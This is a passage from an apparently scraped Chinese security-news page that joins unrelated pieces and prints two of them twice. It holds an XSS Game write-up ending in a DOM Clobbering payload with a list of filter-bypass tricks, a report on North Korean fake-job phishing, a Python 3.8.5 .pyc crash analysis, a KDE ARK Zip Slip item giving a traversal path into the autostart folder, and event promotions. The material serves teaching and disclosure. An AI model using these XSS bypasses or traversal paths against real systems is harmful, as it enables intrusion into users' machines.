然后,要考虑如何构造alert(1337)这个字符串。ok需要接受一个字符串作为值,而在对<a>标签调用toString()方法时,会返回属性href的值。所以,我们可以选择<a>标签作为构造对象。href的值要遵守protocol:uri的格式。然而,在href里直接使用javascript:协议是不行的。通过查看DOMPurify源码可以发现,它支持的合法的协议有mailto, tel, xmpp等等,随便选择一个即可。

答案<a id=ok href=tel:alert(1337)> 

关于DOM Clobbering的讲解,可以参考这篇文章

总结

通过这次的XSS Game,学习到了以下几点常用技巧:

  1. -能够用来闭合HTML标签内部属性。
  2. onfocusautofocus配合自动触发payload执行。
  3. javascript:伪协议执行payload。
  4. HTML实体编码+URL编码绕过某些特殊符号过滤。
  5. JSFuck混淆代码。
  6. 数字转字符串和构造匿名函数绕过对某些特定字符串(比如alert)的检查。
  7. DOM Clobbering,通过注入HTML元素,实现对JavaScript变量的赋值操作。

 

 

 

朝鲜黑客对于攻击美国相关机构乐此不疲,这次瞄准美国国防和航空航天业。

新一轮攻击

迈克菲(McAfee)的安全专家发现,朝鲜黑客针对美国国防和航空航天业,发起了新的攻击活动。他们利用假的工作信息来欺骗求职者,并损害组织机构的网络。这个攻击行为被称为“北极星行动”,在2020年3月下旬至2020年5月期间十分活跃。

黑客发布的虚假职位信息主要针对特定的美国国防计划和团体:

  • F-22战斗机计划
  • 国防,太空与安全(DSS)
  • 太空太阳能电池用光伏
  • 航空综合战斗机集团
  • 军用飞机现代化计划

研究人员注意到,这次攻击中使用的基础设施和TTP(技术,战术和程序)与朝鲜黑客组织HIDDEN COBRA的攻击方式一致。黑客用虚假的工作计划作为诱饵,向求职者发送诱导性的邮件。,此外,幕后的黑客正在利用多个欧洲国家的受损基础架构来托管其C2基础架构,并将恶意软件发送给目标。

值得注意的是,这次攻击涉及的TTP,也与2017年和2019年针对关键军事和国防技术的攻击活动相似。

分析表明,今年的攻击活动目的之一,是在受害者的机器上安装数据收集注入器。这些DLL注入器可以从受害者的机器中收集基本信息,以便识别受害者。有报告称,从目标机器收集的数据,有助于对目标价值进行分类。 McAfee ATR注意到,在2020年的竞选活动中,攻击者也使用了几种不同类型的注入器。不过,由于冠状病毒的持续影响,这项攻击的具体影响目前尚未可知。

持续攻击欧美的朝鲜黑客

近几年,随着两国关系降温,朝鲜黑客对于美国相关机构或企业的攻击已成为常态。2017年,朝鲜黑客疑似针对美国国防承包商加大攻击力度,试图获取目标公司知识产权,包括部署在朝鲜半岛的武器系统。2018年,美国联邦调查局和国土安全部专门联合发布了一份技术警报,详细介绍了朝鲜政府黑客组织Hidden Cobra正在使用两款最新发现的恶意软件。

此外,除了与美国的暗中较量,朝鲜也曾对欧洲的航空和军队发起攻击。今年6月,朝鲜的Lazarus 黑客组织被指利用 LinkedIn 攻击欧洲航空公司和军队企业攻击者伪装成工作面试流程的一部分,将声称包含公司和岗位其它信息的文件发给受害者,而实际上这些文档中包含遭恶意软件的文件,可导致攻击者侵入受害者的计算机。

 

 

朝鲜黑客对于攻击美国相关机构乐此不疲,这次瞄准美国国防和航空航天业。

新一轮攻击

迈克菲(McAfee)的安全专家发现,朝鲜黑客针对美国国防和航空航天业,发起了新的攻击活动。他们利用假的工作信息来欺骗求职者,并损害组织机构的网络。这个攻击行为被称为“北极星行动”,在2020年3月下旬至2020年5月期间十分活跃。

黑客发布的虚假职位信息主要针对特定的美国国防计划和团体:

  • F-22战斗机计划
  • 国防,太空与安全(DSS)
  • 太空太阳能电池用光伏
  • 航空综合战斗机集团
  • 军用飞机现代化计划

研究人员注意到,这次攻击中使用的基础设施和TTP(技术,战术和程序)与朝鲜黑客组织HIDDEN COBRA的攻击方式一致。黑客用虚假的工作计划作为诱饵,向求职者发送诱导性的邮件。,此外,幕后的黑客正在利用多个欧洲国家的受损基础架构来托管其C2基础架构,并将恶意软件发送给目标。

值得注意的是,这次攻击涉及的TTP,也与2017年和2019年针对关键军事和国防技术的攻击活动相似。

分析表明,今年的攻击活动目的之一,是在受害者的机器上安装数据收集注入器。这些DLL注入器可以从受害者的机器中收集基本信息,以便识别受害者。有报告称,从目标机器收集的数据,有助于对目标价值进行分类。 McAfee ATR注意到,在2020年的竞选活动中,攻击者也使用了几种不同类型的注入器。不过,由于冠状病毒的持续影响,这项攻击的具体影响目前尚未可知。

持续攻击欧美的朝鲜黑客

近几年,随着两国关系降温,朝鲜黑客对于美国相关机构或企业的攻击已成为常态。2017年,朝鲜黑客疑似针对美国国防承包商加大攻击力度,试图获取目标公司知识产权,包括部署在朝鲜半岛的武器系统。2018年,美国联邦调查局和国土安全部专门联合发布了一份技术警报,详细介绍了朝鲜政府黑客组织Hidden Cobra正在使用两款最新发现的恶意软件。

此外,除了与美国的暗中较量,朝鲜也曾对欧洲的航空和军队发起攻击。今年6月,朝鲜的Lazarus 黑客组织被指利用 LinkedIn 攻击欧洲航空公司和军队企业攻击者伪装成工作面试流程的一部分,将声称包含公司和岗位其它信息的文件发给受害者,而实际上这些文档中包含遭恶意软件的文件,可导致攻击者侵入受害者的计算机。

 

 

漏洞简介: 

极光无限维阵专家团队在对Python最新版Python 3.8.5的分析中发现了一个空指针引用漏洞,漏洞发生在Python对.pyc文件进行处理时。

下面是崩溃信息:

$ Python-3.8.5/python 00-SEGV-on-unknown-address-Python-3.8.5.pyc    Could not find platform dependent libraries <exec_prefix>    Consider setting $PYTHONHOME to <prefix>[:<exec_prefix>]    AddressSanitizer:DEADLYSIGNAL    =================================================================    ==8079==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000018 (pc 0x0000008aa86b bp 0x000000000000 sp 0x7ffe2a3f5bf0 T0)    ==8079==The signal is caused by a READ memory access.    ==8079==Hint: address points to the zero page.        #0 0x8aa86a in _PyEval_EvalCodeWithName /home/test/Python-3.8.5/Python/ceval.c:4266:23        #1 0x866d0f in PyEval_EvalCodeEx /home/test/Python-3.8.5/Python/ceval.c:4327:12        #2 0x866d0f in PyEval_EvalCode /home/test/Python-3.8.5/Python/ceval.c:718:12        #3 0x9f7355 in run_eval_code_obj /home/test/Python-3.8.5/Python/pythonrun.c:1125:9        #4 0x9e682d in run_pyc_file /home/test/Python-3.8.5/Python/pythonrun.c:1184:9        #5 0x9e682d in PyRun_SimpleFileExFlags /home/test/Python-3.8.5/Python/pythonrun.c:419:13        #6 0x9e4ca5 in PyRun_AnyFileExFlags /home/test/Python-3.8.5/Python/pythonrun.c:86:16        #7 0x5108db in pymain_run_file /home/test/Python-3.8.5/Modules/main.c:381:15        #8 0x5108db in pymain_run_python /home/test/Python-3.8.5/Modules/main.c:606:21        #9 0x5108db in Py_RunMain /home/test/Python-3.8.5/Modules/main.c:685:5        #10 0x5129d6 in pymain_main /home/test/Python-3.8.5/Modules/main.c:715:12        #11 0x512dd7 in Py_BytesMain /home/test/Python-3.8.5/Modules/main.c:739:12        #12 0x7f8316d4b82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291        #13 0x438888 in _start (/home/test/Python-3.8.5-Fuzz/python+0x438888)    AddressSanitizer can not provide additional info.    SUMMARY: AddressSanitizer: SEGV /home/test/Python-3.8.5/Python/ceval.c:4266:23 in _PyEval_EvalCodeWithName    ==8079==ABORTING

漏洞分析: 

在函数PyEval_EvalCode(Python-3.8.5/Python/ceval.c)中调用PyEval_EvalCodeEx函数。

 PyObject *    PyEval_EvalCode(PyObject *co, PyObject *globals, PyObject *locals){        return PyEval_EvalCodeEx(co,                        globals, locals,                        (PyObject **)NULL, 0,                        (PyObject **)NULL, 0,                        (PyObject **)NULL, 0,                        NULL, NULL);    }

传递给PyEval_EvalCodeEx函数的参数中closure设置为NULL。

    PyObject *    PyEval_EvalCodeEx(PyObject *_co, PyObject *globals, PyObject *locals,                    PyObject *const *args, int argcount,                    PyObject *const *kws, int kwcount,                    PyObject *const *defs, int defcount,                    PyObject *kwdefs, PyObject *closure){        return _PyEval_EvalCodeWithName(_co, globals, locals,                                        args, argcount,                                        kws, kws != NULL ? kws + 1 : NULL,                                        kwcount, 2,                                        defs, defcount,                                        kwdefs, closure,                                        NULL, NULL);    }

PyEval_EvalCodeEx函数继续调用_PyEval_EvalCodeWithName函数,closure值不变依旧为NULL。

    PyObject *    _PyEval_EvalCodeWithName(PyObject *_co, PyObject *globals, PyObject *locals,            PyObject *const *args, Py_ssize_t argcount,            PyObject *const *kwnames, PyObject *const *kwargs,            Py_ssize_t kwcount, int kwstep,            PyObject *const *defs, Py_ssize_t defcount,            PyObject *kwdefs, PyObject *closure,            PyObject *name, PyObject *qualname)    {        ******        /* Copy closure variables to free variables */        for (i = 0; i < PyTuple_GET_SIZE(co->co_freevars); ++i) {            PyObject *o = PyTuple_GET_ITEM(closure, i);   <----------------------------- crash            Py_INCREF(o);            freevars[PyTuple_GET_SIZE(co->co_cellvars) + i] = o;        }        ******    }

修复建议: 

在 _PyEval_EvalCodeWithName函数中引用closure前,对closure的值进行判断。

北京网络安全大会是立足北京、辐射全球的国际化网络安全产业盛会,将于8月7日到16日召开,本届大会邀请了网络安全领域极具洞见的多位院士,10多位部级领导,全国11所双一流网空学院学科建设带头人,以及来自中国,美国,加拿大,英国,德国,荷兰,荷兰,以色列,日本,维多利亚,马来西亚,新加坡等11个国家及联合国等国际组织的500多位国内外安全领袖,产业精英,安全界大咖。BCS 2020还设立16档超100场特色栏目与活动,同时依托虎符网络安全大学,进行25场安全实战培训,打造顶级网络安攻防实训平台。

届时,易念科技将出席大会,携手共同打造业界顶级的网络安全大会,助力推动网络安全行业高速、健康的发展,作为中国网络安全意识教育领导企业,提升网民网络安全防范意识、减少人为因素引发的网络安全事件是易念科技的工作重心。易念科技始终秉承“教育改变认知,意识决定安全”的核心理念,聚焦以人为本的安全行为与教育方法研究,致力于“打造网络空间安全人脑防火墙。截至目前,易念科技已经服务过众多头部和大型企业,且近百万人参与由易念科技携手组织开展的安全意识宣贯,并获得了客户高度称赞。 除此之外,易念科技将在虎符网络安全大学开设CSAO注册信息安全意识官课程。针对国内安全意识行业人才缺失的情况,易念科技于去年推出的CSAO课程是在中国网络空间安全教育人才联盟指导下,由网安意识培养提高工作组专家开发完成的全新网络安全职业认证课程。课程以安全意识教育理论为基础,综合心理学、行为学、管理学和营销学等多门学科,并结合国内外先进理念与案例实践,标准的课程内容与专业的知识体系,加上专家讲师深入浅出的讲解,学员不仅可以掌握安全意识相关的知识要点,还能收获整套安全意识教育工作开展的方法论。

CSAO课程属于国家试点认证课程,学员通过参加中国网络空间安全人才教育联盟统一组织的培训和考试,成绩合格且符合认证条件,即可获得中国网络空间安全人才教育联盟统一颁发的认证证书。目前在虎符训练营参与课程报名,还可享受“早鸟特惠”价。

网络空间已经成为继陆地、海洋、天空、太空之后的“第五空间”。来自网络空间的威胁已不再像二十世纪一样只与个人或企业相关,而是直接关系到社会安全、经济安全、基础设施安全乃至国家安全的重大问题。

每年发生在网络空间上的攻击屡见不鲜,在过去一年多,各种 APT 攻击事件、勒索挖矿事件、数据泄露事件、漏洞攻击事件更是不绝于耳。

  • 从 ATT&CK 模型框架的兴起到实战化攻防环境的建立

          从反序列化漏洞的攻防博弈到 VPN 漏洞的异军突起

          从不断“APT”化发展的勒索攻击到广撒网的挖矿活动

          从不断受地缘政治影响的 APT 攻击到新冠疫情引发的花式攻击

  • 从 MaaS 模式的逐渐成熟到恶意软件家族间“合作”案例的逐渐增多
  • ……

层出不穷的网络安全事件时刻提醒着我们越来越严峻的网络安全态势,同时不断鞭策着网络安全从业者在技术上的精进。

因此,启明星辰集团发布《2019~2020网络安全态势观察报告》,以观察者的视角剖析 2019 年全年至 2020 年上半年网络安全形势及其变化,希望以此为各行业以及相关企事业单位提供网络安全战略和决策的参考。

今年的报告共有漏洞攻击态势观察、僵尸网络及木马态势观察、Web 攻击态势观察、Office 攻击态势观察、APT 组织攻击态势观察、勒索挖矿攻击态势观察、IoT 攻击态势观察、“新冠疫情”热点攻击事件态势观察八个板块,覆盖面广泛、分析角度深入。其中ATT&CK、反序列化、新冠病毒疫情实战化攻防均是此次报告的亮点。

  • ATT&CK

是一套由攻击者经常会使用的多种战术和攻击技术组成的知识库,它基于攻防视角让安全行业用户采用一种通用的语言去交流,描述和分类攻击者的行动。ATT&CK 的相关分析和运用方法的流行,为安全攻防行业的理论探索和进步做出了重大贡献。

  • 反序列化

反序列化漏洞渐成 Web 攻击首要威胁 VPN 等网关型漏洞成新攻击入口。

  • 新冠病毒疫情实战化攻防

2020 年年初爆发的“新冠病毒疫情”已经蔓延到全世界几乎每一个角落,严重影响了全球经济社会发展。疫情的爆发使得大多数人不得不在家开启远程办公模式,大量远程控制工具的使用和端口的开放加大了网络被攻击的安全风险。一些黑客趁此机会利用热点信息发起攻击,疫情的不确定性和人们的恐惧性心理给攻击者创造了千载难逢的好机会。

ATT&CK 在Google Trends 上过去一年多的趋势变化

 

现在这份诚意满满,含金量十足的

《2019~2020网络安全态势观察报告》

即将震撼来袭!!!

敬请期待~

 

 

默认的KDE提取实用程序ARK中存在一个漏洞,攻击者可通过诱使用户下载存档并提取存档利用该漏洞覆盖文件或在用户的计算机上执行代码。

KDE是一个桌面环境,存在于Open SUSE、Kali、KUbuntu等为操作系统提供图形用户界面的Linux发行版中。

该漏洞是个路径遍历漏洞(CVE-2020-16116),由Hackers for Change的安全研究人员Dominik Penner发现,存在于默认的ARK存档实用程序中,恶意攻击者可通过分发恶意存档文件利用该漏洞远程执行代码。

一旦用户打开存档文件,攻击者就可以创建自动启动程序的应用程序,用勒索软件加密用户文件,安装挖矿软件,或安装让远程攻击者以shell权限访问受害者账户的后门。

Penner于2020年7月20日向KDE安全团队报告了该漏洞,该漏洞快速在今天发布的ARK 20.08.0版本中得到修复。

由于ARK是KDE桌面环境中的默认提取器,几乎所有Linux发行版都使用该提取器,因此建议所有用户尽快安装最新的更新。

路径遍历漏洞导致代码执行

在用户登录操作系统时,KED桌面环境允许用户自动启动应用程序。

这些自动启动程序是通过在~/.config/autostart文件夹中创建特殊的.desktop文件来配置的,该文件夹指定在登录时应该执行什么程序。

例如,当用户登录到桌面时,下图显示的桌面文件将自动启动“Konsole”应用程序。

Konsole自动启动

来源:Bleeping Computer

Penner发现ARK存档实用程序在解压缩存档文件时未能移除路径遍历字符。他利用该漏洞创建存档文件,该存档文件可提取存在于用户访问的任何位置的文件。

“KDE ARK容易受到通过目录遍历导致执行命令的任意写入漏洞的影响。ARK在解压tar、gzip、bzip2、rar和zip文件时,未能删除目录遍历字符,最终允许攻击者将文件悄悄地写入~/.config/autostart目录,导致下一次重新启动时执行命令。这种漏洞通常被称为‘Zip Slip’ 漏洞。” Penner在一份与Bleeping Computer共享的漏洞报告中写道。

使用该漏洞,Penner创建了一个PoC exploit,它通过在当前文件夹中提取一个特制的存档文件来自动创建KDE自动启动配置文件。

一旦创建了自动启动程序,下次计算机重新启动且用户登录帐户时,指定的程序将被执行,从而导致远程代码执行。

测试该漏洞

Penner与Bleeping Computer共享了一个PoC,在我们的测试中,这个漏洞非常容易被利用。

在运行该exploit时,我们在一个提取路径包含路径遍历字符的存档文件中留下一个特制的存档文件。

例如,“../../../.config/autostart/hackersforchange.desktop”。

当用户提取存档时,ARK将利用上述路径遍历在~/.config/autostart/hackersforchange.desktop中创建一个文件,下次当用户登录Linux KDE桌面时,该文件会启动xcalc。

PoC安装的自动启动程序,用来启动Xcalc

来源:Bleeping Computer

由于该漏洞容易被利用,建议所有KDE用户升级到ARK 20.08.0或之后版本。

——————————-

本文源自Bleeping Computer;转载请注明出处。

网络空间已经成为继陆地、海洋、天空、太空之后的“第五空间”。来自网络空间的威胁已不再像二十世纪一样只与个人或企业相关,而是直接关系到社会安全、经济安全、基础设施安全乃至国家安全的重大问题。

每年发生在网络空间上的攻击屡见不鲜,在过去一年多,各种 APT 攻击事件、勒索挖矿事件、数据泄露事件、漏洞攻击事件更是不绝于耳。

  • 从 ATT&CK 模型框架的兴起到实战化攻防环境的建立

          从反序列化漏洞的攻防博弈到 VPN 漏洞的异军突起

          从不断“APT”化发展的勒索攻击到广撒网的挖矿活动

          从不断受地缘政治影响的 APT 攻击到新冠疫情引发的花式攻击

  • 从 MaaS 模式的逐渐成熟到恶意软件家族间“合作”案例的逐渐增多
  • ……

层出不穷的网络安全事件时刻提醒着我们越来越严峻的网络安全态势,同时不断鞭策着网络安全从业者在技术上的精进。

因此,启明星辰集团发布《2019~2020网络安全态势观察报告》,以观察者的视角剖析 2019 年全年至 2020 年上半年网络安全形势及其变化,希望以此为各行业以及相关企事业单位提供网络安全战略和决策的参考。

今年的报告共有漏洞攻击态势观察、僵尸网络及木马态势观察、Web 攻击态势观察、Office 攻击态势观察、APT 组织攻击态势观察、勒索挖矿攻击态势观察、IoT 攻击态势观察、“新冠疫情”热点攻击事件态势观察八个板块,覆盖面广泛、分析角度深入。其中ATT&CK、反序列化、新冠病毒疫情实战化攻防均是此次报告的亮点。

  • ATT&CK

是一套由攻击者经常会使用的多种战术和攻击技术组成的知识库,它基于攻防视角让安全行业用户采用一种通用的语言去交流,描述和分类攻击者的行动。ATT&CK 的相关分析和运用方法的流行,为安全攻防行业的理论探索和进步做出了重大贡献。

  • 反序列化

反序列化漏洞渐成 Web 攻击首要威胁 VPN 等网关型漏洞成新攻击入口。

  • 新冠病毒疫情实战化攻防

2020 年年初爆发的“新冠病毒疫情”已经蔓延到全世界几乎每一个角落,严重影响了全球经济社会发展。疫情的爆发使得大多数人不得不在家开启远程办公模式,大量远程控制工具的使用和端口的开放加大了网络被攻击的安全风险。一些黑客趁此机会利用热点信息发起攻击,疫情的不确定性和人们的恐惧性心理给攻击者创造了千载难逢的好机会。

ATT&CK 在Google Trends 上过去一年多的趋势变化

 

现在这份诚意满满,含金量十足的

《2019~2020网络安全态势观察报告》

即将震撼来袭!!!

敬请期待~